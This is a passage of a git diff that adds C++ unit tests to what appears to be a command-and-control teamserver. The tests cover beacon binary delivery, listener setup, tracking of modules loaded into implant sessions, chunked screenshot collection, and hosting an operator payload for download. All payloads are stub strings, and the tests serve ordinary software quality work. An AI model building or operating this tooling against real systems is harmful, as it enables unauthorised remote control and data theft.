TeamServerListenerArtifactService wildcardService(makeLogger(), config, runtimeConfig, wildcardListeners); + assert(wildcardService.handleCommand("infoListener", {"infoListener", "wildcard"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "https\n127.0.0.1\n8443\n/drop.bin"); +} + void testGetBeaconBinaryForPrimaryAndSecondary() { ScopedPath tempRoot(makeTempDirectory("beacon")); @@ -137,6 +199,7 @@ void testGetBeaconBinaryForPrimaryAndSecondary() writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x86" / "BeaconHttp.exe", "HTTPBIN-X86"); writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "arm64" / "BeaconHttp.exe", "HTTPBIN-ARM64"); writeFile(fs::path(runtimeConfig.windowsBeaconsDirectoryPath) / "x64" / "BeaconSmb.exe", "SMBBIN-X64"); + writeFile(fs::path(runtimeConfig.linuxBeaconsDirectoryPath) / "x64" / "BeaconHttp", "LINUX-HTTPBIN-X64"); nlohmann::json config = nlohmann::json::object(); auto primary = std::make_shared("listener-primary"); @@ -178,6 +241,12 @@ void testGetBeaconBinaryForPrimaryAndSecondary() assert(response.result() == "Error: Unsupported architecture."); assert(response.message() == "Error: Unsupported architecture."); + command.set_command("getBeaconBinary listener-pri Linux x64"); + assert(service.handleCommand("getBeaconBinary", {"getBeaconBinary", "listener-pri", "Linux", "x64"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "ok"); + assert(response.data() == "LINUX-HTTPBIN-X64"); + command.set_command("getBeaconBinary secondary"); assert(service.handleCommand("getBeaconBinary", {"getBeaconBinary", "secondary"}, command, &response).ok()); assert(response.status() == teamserverapi::OK); @@ -190,6 +259,7 @@ void testGetBeaconBinaryForPrimaryAndSecondary() int main() { testInfoListenerForPrimaryAndSecondary(); + testInfoListenerAddressFallbacks(); testGetBeaconBinaryForPrimaryAndSecondary(); return 0; } diff --git a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp index bfa6ac5..604f944 100644 --- a/teamServer/tests/TeamServerListenerSessionServiceTests.cpp +++ b/teamServer/tests/TeamServerListenerSessionServiceTests.cpp @@ -1,16 +1,48 @@ #include +#include +#include +#include #include #include #include #include +#include #include +#include #include +#include "TeamServerFileArtifactService.hpp" +#include "TeamServerGeneratedArtifactStore.hpp" #include "TeamServerListenerSessionService.hpp" +namespace fs = std::filesystem; + namespace { +class ScopedPath +{ +public: + explicit ScopedPath(fs::path path) + : m_path(std::move(path)) + { + } + + ~ScopedPath() + { + std::error_code ec; + fs::remove_all(m_path, ec); + } + + const fs::path& path() const + { + return m_path; + } + +private: + fs::path m_path; +}; + class TestListener final : public Listener { public: @@ -51,6 +83,28 @@ std::multimap makeMetadata(std::string& clie return metadata; } +fs::path makeTempDirectory(const std::string& name) +{ + fs::path root = fs::temp_directory_path() / ("c2teamserver-listener-session-" + name + "-" + std::to_string(::getpid())); + fs::create_directories(root); + return root; +} + +TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) +{ + TeamServerRuntimeConfig runtimeConfig; + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string() + "/"; + runtimeConfig.defaultWindowsArch = "x64"; + runtimeConfig.defaultLinuxArch = "x64"; + return runtimeConfig; +} + +std::string readFile(const fs::path& path) +{ + std::ifstream input(path, std::ios::binary); + return std::string(std::istreambuf_iterator(input), {}); +} + void testCollectListenersAndSessions() { nlohmann::json config = { @@ -82,6 +136,7 @@ void testCollectListenersAndSessions() cmdResponses, sentResponses, sentCommands, + nullptr, [](const std::string&, C2Message& c2Message, bool, const std::string&) { c2Message.set_instruction("noop"); @@ -136,6 +191,7 @@ void testQueueStopAndResponseDeduplication() cmdResponses, sentResponses, sentCommands, + nullptr, [&preparedArch](const std::string& input, C2Message& c2Message, bool, const std::string& windowsArch) { preparedArch = windowsArch; @@ -224,11 +280,299 @@ void testQueueStopAndResponseDeduplication() .ok()); assert(secondClientResponses.size() == 1); } + +void testAddListenerRejectsTcpBoundPortConflicts() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + listeners.push_back(std::make_shared("0.0.0.0", "8443", ListenerHttpsType, "listener-primary")); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + nullptr, + [](const std::string&, C2Message&, bool, const std::string&) + { + return 0; + }); + + teamserverapi::Listener tcpListener; + tcpListener.set_type(ListenerTcpType); + tcpListener.set_ip("0.0.0.0"); + tcpListener.set_port(8443); + + teamserverapi::OperationAck response; + assert(service.addListener(tcpListener, &response).ok()); + assert(response.status() == teamserverapi::KO); + assert(response.message() == "Port 8443 is already used by https listener."); + assert(listeners.size() == 1); +} + +void testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + auto primaryListener = std::make_shared("127.0.0.1", "8443", ListenerHttpsType, "listener-primary"); + primaryListener->addSession("listener-primary", "ABCDEFGH12345678", "host", "user", "x64", "admin", "Linux"); + listeners.push_back(primaryListener); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + nullptr, + [](const std::string& input, C2Message& c2Message, bool, const std::string&) + { + if (input.rfind("loadModule", 0) == 0) + { + c2Message.set_instruction(LoadC2ModuleCmd); + c2Message.set_inputfile("libPrintWorkingDirectory.so"); + c2Message.set_data("module-bytes"); + } + else if (input.rfind("unloadModule", 0) == 0) + { + c2Message.set_instruction(UnloadC2ModuleCmd); + c2Message.set_cmd("pwd"); + } + else + { + c2Message.set_instruction("instruction"); + c2Message.set_cmd(input); + } + return 0; + }); + + teamserverapi::SessionCommandRequest loadCommand; + loadCommand.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + loadCommand.mutable_session()->set_listener_hash("listener-primary"); + loadCommand.set_command("loadModule pwd"); + loadCommand.set_command_id("load-0001"); + + teamserverapi::CommandAck loadResponse; + assert(service.sendSessionCommand(loadCommand, &loadResponse).ok()); + assert(loadResponse.status() == teamserverapi::OK); + + std::vector modules; + teamserverapi::SessionSelector sessionSelector; + sessionSelector.set_beacon_hash("ABCDEFGH12345678"); + sessionSelector.set_listener_hash("listener-primary"); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].name() == "pwd"); + assert(modules[0].state() == "loading"); + + teamserverapi::CommandAck duplicateLoadResponse; + assert(service.sendSessionCommand(loadCommand, &duplicateLoadResponse).ok()); + assert(duplicateLoadResponse.status() == teamserverapi::KO); + assert(duplicateLoadResponse.message().find("already tracked") != std::string::npos); + + C2Message loadResult; + loadResult.set_instruction(LoadC2ModuleCmd); + loadResult.set_uuid("load-0001"); + loadResult.set_returnvalue(CmdStatusSuccess); + assert(primaryListener->addTaskResult(loadResult, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].name() == "pwd"); + assert(modules[0].state() == "loaded"); + assert(modules[0].load_count() == 1); + + teamserverapi::SessionCommandRequest unloadCommand; + unloadCommand.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + unloadCommand.mutable_session()->set_listener_hash("listener-primary"); + unloadCommand.set_command("unloadModule pwd"); + unloadCommand.set_command_id("unload-0001"); + + teamserverapi::CommandAck unloadResponse; + assert(service.sendSessionCommand(unloadCommand, &unloadResponse).ok()); + assert(unloadResponse.status() == teamserverapi::OK); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.size() == 1); + assert(modules[0].state() == "unloading"); + + C2Message unloadResult; + unloadResult.set_instruction(UnloadC2ModuleCmd); + unloadResult.set_uuid("unload-0001"); + unloadResult.set_returnvalue(CmdStatusSuccess); + assert(primaryListener->addTaskResult(unloadResult, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + modules.clear(); + assert(service.streamModulesForSession( + sessionSelector, + [&](const teamserverapi::LoadedModule& module) + { + modules.push_back(module); + return true; + }) + .ok()); + assert(modules.empty()); +} + +void testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses() +{ + nlohmann::json config = {{"LogLevel", "off"}}; + auto logger = makeLogger(); + + std::vector> listeners; + auto primaryListener = std::make_shared("127.0.0.1", "8443", ListenerHttpsType, "listener-primary"); + primaryListener->addSession("listener-primary", "ABCDEFGH12345678", "host", "user", "x64", "admin", "Windows"); + listeners.push_back(primaryListener); + + ScopedPath tempRoot(makeTempDirectory("pending-artifact")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + auto artifactStore = std::make_shared(runtimeConfig); + auto fileArtifactService = std::make_shared( + logger, + runtimeConfig, + artifactStore); + + std::vector> moduleCmd; + CommonCommands commonCommands; + std::vector cmdResponses; + std::unordered_map> sentResponses; + std::vector sentCommands; + + std::string preparedOutputFile; + TeamServerListenerSessionService service( + logger, + config, + listeners, + moduleCmd, + commonCommands, + cmdResponses, + sentResponses, + sentCommands, + fileArtifactService, + [&](const std::string& input, C2Message& c2Message, bool, const std::string&) + { + TeamServerGeneratedFileArtifactSpec spec; + spec.remotePath = input; + spec.nameHint = "desktop.png"; + spec.category = "screenshot"; + spec.source = "beacon"; + spec.target = "teamserver"; + spec.runtime = "file"; + spec.format = "png"; + spec.isWindows = true; + spec.arch = "x64"; + spec.writeResultData = true; + const TeamServerPreparedDownloadArtifact artifact = fileArtifactService->prepareGeneratedFileArtifact(spec); + assert(artifact.ok); + + preparedOutputFile = artifact.path; + c2Message.set_instruction("screenShot"); + c2Message.set_outputfile(artifact.path); + c2Message.set_cmd(input); + return 0; + }); + + teamserverapi::SessionCommandRequest command; + command.mutable_session()->set_beacon_hash("ABCDEFGH12345678"); + command.mutable_session()->set_listener_hash("listener-primary"); + command.set_command("screenShot desktop.png"); + command.set_command_id("shot-0001"); + + teamserverapi::CommandAck response; + assert(service.sendSessionCommand(command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(!preparedOutputFile.empty()); + + C2Message queuedTask = primaryListener->getTask("ABCDEFGH12345678"); + assert(queuedTask.instruction() == "screenShot"); + assert(queuedTask.uuid() == "shot-0001"); + + C2Message firstChunk; + firstChunk.set_instruction("screenShot"); + firstChunk.set_outputfile(preparedOutputFile); + firstChunk.set_args("0"); + firstChunk.set_data("AA"); + firstChunk.set_returnvalue("2/4"); + assert(primaryListener->addTaskResult(firstChunk, "ABCDEFGH12345678")); + service.handleCmdResponse(); + assert(cmdResponses.empty()); + assert(sentCommands.size() == 1); + assert(readFile(preparedOutputFile) == "AA"); + + C2Message finalChunk; + finalChunk.set_instruction("screenShot"); + finalChunk.set_outputfile(preparedOutputFile); + finalChunk.set_args("1"); + finalChunk.set_data("BB"); + finalChunk.set_returnvalue("Success"); + assert(primaryListener->addTaskResult(finalChunk, "ABCDEFGH12345678")); + service.handleCmdResponse(); + + assert(sentCommands.empty()); + assert(cmdResponses.size() == 1); + assert(cmdResponses[0].command_id() == "shot-0001"); + assert(cmdResponses[0].command() == "screenShot desktop.png"); + assert(cmdResponses[0].output().find("Generated artifact stored:") != std::string::npos); + assert(readFile(preparedOutputFile) == "AABB"); + assert(fs::exists(preparedOutputFile + ".artifact.json")); + assert(!fs::exists(preparedOutputFile + ".artifact.pending.json")); +} } // namespace int main() { testCollectListenersAndSessions(); testQueueStopAndResponseDeduplication(); + testAddListenerRejectsTcpBoundPortConflicts(); + testModuleTrackingBlocksDuplicateLoadsAndListsLoadedModules(); + testPendingGeneratedArtifactChunksDoNotEmitIntermediateResponses(); return 0; } diff --git a/teamServer/tests/TeamServerTermLocalServiceTests.cpp b/teamServer/tests/TeamServerTermLocalServiceTests.cpp index 3edbf24..f1f0a92 100644 --- a/teamServer/tests/TeamServerTermLocalServiceTests.cpp +++ b/teamServer/tests/TeamServerTermLocalServiceTests.cpp @@ -5,6 +5,7 @@ #include #include +#include "TeamServerArtifactCatalog.hpp" #include "TeamServerTermLocalService.hpp" namespace fs = std::filesystem; @@ -92,6 +93,9 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) runtimeConfig.windowsBeaconsDirectoryPath = (root / "windows-beacons").string(); runtimeConfig.toolsDirectoryPath = (root / "tools").string(); runtimeConfig.scriptsDirectoryPath = (root / "scripts").string(); + runtimeConfig.uploadedArtifactsDirectoryPath = (root / "UploadedArtifacts").string(); + runtimeConfig.generatedArtifactsDirectoryPath = (root / "GeneratedArtifacts").string(); + runtimeConfig.hostedArtifactsDirectoryPath = (root / "GeneratedArtifacts" / "hosted").string(); fs::create_directories(runtimeConfig.teamServerModulesDirectoryPath); fs::create_directories(runtimeConfig.linuxModulesDirectoryPath); @@ -100,10 +104,20 @@ TeamServerRuntimeConfig makeRuntimeConfig(const fs::path& root) fs::create_directories(runtimeConfig.windowsBeaconsDirectoryPath); fs::create_directories(runtimeConfig.toolsDirectoryPath); fs::create_directories(runtimeConfig.scriptsDirectoryPath); + fs::create_directories(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any"); + fs::create_directories(runtimeConfig.generatedArtifactsDirectoryPath); + fs::create_directories(runtimeConfig.hostedArtifactsDirectoryPath); return runtimeConfig; } +void writeFile(const fs::path& path, const std::string& content) +{ + fs::create_directories(path.parent_path()); + std::ofstream output(path, std::ios::binary); + output << content; +} + std::string readFile(const fs::path& path) { std::ifstream input(path, std::ios::binary); @@ -155,7 +169,57 @@ void testUploadCommands() assert(response.status() == teamserverapi::OK); assert(response.result() == "ok"); assert(response.message().empty()); - assert(readFile(fs::path(runtimeConfig.toolsDirectoryPath) / "tool.bin") == "TOOL"); + assert(readFile(fs::path(runtimeConfig.toolsDirectoryPath) / "Any" / "any" / "tool.bin") == "TOOL"); +} + +void testHostArtifactCommand() +{ + ScopedPath tempRoot(makeTempDirectory("host-artifact")); + TeamServerRuntimeConfig runtimeConfig = makeRuntimeConfig(tempRoot.path()); + fs::path downloadDir = tempRoot.path() / "downloads"; + fs::create_directories(downloadDir); + writeFile(fs::path(runtimeConfig.uploadedArtifactsDirectoryPath) / "Any" / "any" / "operator_payload.bin", "PAYLOAD"); + + TeamServerArtifactCatalog catalog(runtimeConfig); + TeamServerArtifactQuery query; + query.category = "upload"; + query.nameContains = "operator_payload"; + const std::vector artifacts = catalog.listArtifacts(query); + assert(artifacts.size() == 1); + + nlohmann::json config = { + {"ListenerHttpsConfig", {{"downloadFolder", downloadDir.string()}}}}; + std::vector> listeners; + listeners.push_back(std::make_shared("listener-primary")); + nlohmann::json credentials = nlohmann::json::array(); + std::vector> modules; + + TeamServerTermLocalService service( + makeLogger(), + config, + runtimeConfig, + listeners, + credentials, + modules); + + teamserverapi::TerminalCommandRequest command; + command.set_command("hostArtifact listener-pri " + artifacts[0].artifactId); + teamserverapi::TerminalCommandResponse response; + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", artifacts[0].artifactId}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "operator_payload.bin"); + assert(response.message().empty()); + assert(readFile(downloadDir / "operator_payload.bin") == "PAYLOAD"); + + command.set_command("hostArtifact listener-pri " + artifacts[0].artifactId + " hosted.bin"); + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", artifacts[0].artifactId, "hosted.bin"}, command, &response).ok()); + assert(response.status() == teamserverapi::OK); + assert(response.result() == "hosted.bin"); + assert(readFile(downloadDir / "hosted.bin") == "PAYLOAD"); + + assert(service.handleCommand("hostArtifact", {"hostArtifact", "listener-pri", "missing"}, command, &response).ok()); + assert(response.status() == teamserverapi::KO); + assert(response.result() == "Error: artifact not found."); } void testCredentialCommands() @@ -236,6 +300,7 @@ void testReloadModulesUsesInjectedLoader() int main() { testUploadCommands(); + testHostArtifactCommand(); testCredentialCommands(); testReloadModulesUsesInjectedLoader(); return 0;